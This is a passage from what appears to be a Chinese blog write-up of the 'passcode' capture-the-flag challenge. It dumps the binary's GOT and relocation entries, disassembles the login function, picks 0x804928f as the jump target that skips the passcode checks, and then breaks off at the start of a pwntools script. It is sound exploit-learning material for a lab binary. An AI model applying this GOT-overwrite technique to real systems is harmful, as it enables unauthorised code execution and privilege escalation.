</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">[0x804c028] exit@GLIBC_2.0 -&gt; 0x80490b6 (exit@plt+6) ◂— push 0x38 /* &#39;h8&#39; */
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">[0x804c02c] setregid@GLIBC_2.0 -&gt; 0x80490c6 (setregid@plt+6) ◂— push 0x40 /* &#39;h@&#39; */
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">[0x804c030] __isoc99_scanf@GLIBC_2.7 -&gt; 0xf7d96c60 (__isoc99_scanf) ◂— endbr32
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>还有系统命令：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">passcode@ubuntu:~$ objdump -R passcode
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">passcode:     file format elf32-i386
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">DYNAMIC RELOCATION RECORDS
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">OFFSET   TYPE              VALUE
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">0804bff8 R_386_GLOB_DAT    __gmon_start__@Base
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">0804bffc R_386_GLOB_DAT    stdin@GLIBC_2.0
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">0804c00c R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.34
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">0804c010 R_386_JUMP_SLOT   printf@GLIBC_2.0
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">0804c014 R_386_JUMP_SLOT   fflush@GLIBC_2.0
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">0804c018 R_386_JUMP_SLOT   __stack_chk_fail@GLIBC_2.4
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">0804c01c R_386_JUMP_SLOT   getegid@GLIBC_2.0
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">0804c020 R_386_JUMP_SLOT   puts@GLIBC_2.0
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">0804c024 R_386_JUMP_SLOT   system@GLIBC_2.0
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">0804c028 R_386_JUMP_SLOT   exit@GLIBC_2.0
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go">0804c02c R_386_JUMP_SLOT   setregid@GLIBC_2.0
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="go">0804c030 R_386_JUMP_SLOT   __isoc99_scanf@GLIBC_2.7
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>还有readelf：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">passcode@ubuntu:~$ readelf -r passcode
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">Relocation section &#39;.rel.dyn&#39; at offset 0x430 contains 2 entries:
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go"> Offset     Info    Type            Sym.Value  Sym. Name
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">0804bff8  00000806 R_386_GLOB_DAT    00000000   __gmon_start__
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">0804bffc  00000a06 R_386_GLOB_DAT    00000000   stdin@GLIBC_2.0
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">Relocation section &#39;.rel.plt&#39; at offset 0x440 contains 10 entries:
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go"> Offset     Info    Type            Sym.Value  Sym. Name
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">0804c00c  00000107 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.34
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">0804c010  00000207 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">0804c014  00000307 R_386_JUMP_SLOT   00000000   fflush@GLIBC_2.0
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">0804c018  00000407 R_386_JUMP_SLOT   00000000   __stack_chk_fail@GLIBC_2.4
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">0804c01c  00000507 R_386_JUMP_SLOT   00000000   getegid@GLIBC_2.0
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">0804c020  00000607 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">0804c024  00000707 R_386_JUMP_SLOT   00000000   system@GLIBC_2.0
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go">0804c028  00000907 R_386_JUMP_SLOT   00000000   exit@GLIBC_2.0
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="go">0804c02c  00000b07 R_386_JUMP_SLOT   00000000   setregid@GLIBC_2.0
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="go">0804c030  00000c07 R_386_JUMP_SLOT   00000000   __isoc99_scanf@GLIBC_2.7
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>这里一直失败，才知道执行login函数里面的system并不是system的地址，而是从前面各种准备工作开始的。比如setgid之类的代码。
反汇编代码：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="c1"># gdb里面反汇编login函数</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">disass login
</span></span><span class="line"><span class="ln">3</span><span class="cl">
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="c1"># -d 反汇编，-M intel 使用 intel 语法（更易读），--disassemble 指定反汇编的函数</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl">objdump -d --disassemble<span class="o">=</span>login ./passcode -M intel
</span></span><span class="line"><span class="ln">6</span><span class="cl">
</span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="c1"># -d 反汇编，-M intel 使用 intel 语法（更易读），-A 显示行数</span>
</span></span><span class="line"><span class="ln">8</span><span class="cl">objdump -d ./passcode -M intel <span class="p">|</span> grep -A <span class="m">100</span> <span class="s2">&#34;&lt;login&gt;:&#34;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>不论哪种方法，login段这里很重要，if函数就是cmp（比较）与jne（跳转）的组合。
第1行是与0x1e240（123456）比较，失败就执行下一行 jne，成功就跳过下一行的 jne
第2行同理，成功的话就跳过 jne，可以看到两个jne都是跳到0x80492ce，我们需要跳转到成功代码块，就是第二个jne的下一行，也就是地址0x804928f ，这里会完成各种权限提升，和读取flag操作。</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go"> 804927d:       81 7d f0 40 e2 01 00    cmp    DWORD PTR [ebp-0x10],0x1e240
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go"> 8049284:       75 48                   jne    80492ce &lt;login+0xd8&gt;
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go"> 8049286:       81 7d f4 c9 07 cc 00    cmp    DWORD PTR [ebp-0xc],0xcc07c9
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go"> 804928d:       75 3f                   jne    80492ce &lt;login+0xd8&gt;
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go"> 804928f:       83 ec 0c                sub    esp,0xc
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go"> 8049292:       8d 83 3d e0 ff ff       lea    eax,[ebx-0x1fc3]
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go"> 8049298:       50                      push   eax
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go"> 8049299:       e8 f2 fd ff ff          call   8049090 &lt;puts@plt&gt;
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go"> 804929e:       83 c4 10                add    esp,0x10
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go"> 80492a1:       e8 da fd ff ff          call   8049080 &lt;getegid@plt&gt;
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go"> 80492a6:       89 c6                   mov    esi,eax
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go"> 80492a8:       e8 d3 fd ff ff          call   8049080 &lt;getegid@plt&gt;
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go"> 80492ad:       83 ec 08                sub    esp,0x8
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go"> 80492b0:       56                      push   esi
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go"> 80492b1:       50                      push   eax
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go"> 80492b2:       e8 09 fe ff ff          call   80490c0 &lt;setregid@plt&gt;
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go"> 80492b7:       83 c4 10                add    esp,0x10
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="go"> 80492ba:       83 ec 0c                sub    esp,0xc
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="go"> 80492bd:       8d 83 47 e0 ff ff       lea    eax,[ebx-0x1fb9]
</span></span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="go"> 80492c3:       50                      push   eax
</span></span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="go"> 80492c4:       e8 d7 fd ff ff          call   80490a0 &lt;system@plt&gt;
</span></span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="go"> 80492c9:       83 c4 10                add    esp,0x10
</span></span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="go"> 80492cc:       eb 1c                   jmp    80492ea &lt;login+0xf4&gt;
</span></span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="go"> 80492ce:       83 ec 0c                sub    esp,0xc
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>脚本：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">passcode@ubuntu:~$ python
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">Python 3.10.12 (main, Feb  4 2025, 14:57:36) [GCC 11.4.0] on linux
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">Type &#34;help&#34;, &#34;copyright&#34;, &#34;credits&#34; or &#34;license&#34; for more information.
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="gp">&gt;</span>&gt;&gt; from pwn import *
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="gp">&gt;</span>&gt;&gt; <span class="nv">io</span> <span class="o">=</span> process<span class="o">(</span><span class="s1">&#39;./passcode&#39;</span><span class="o">)</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">[x] Starting local process &#39;./passcode&#39;
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">[+] Starting local process &#39;./passcode&#39;: pid 1614511
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="gp">&gt;</span>&gt;&gt; <span class="nv">elf</span> <span class="o">=</span> ELF<span class="o">(</span><span class="s1">&#39;./passcode&#39;</span><span class="o">)</span>
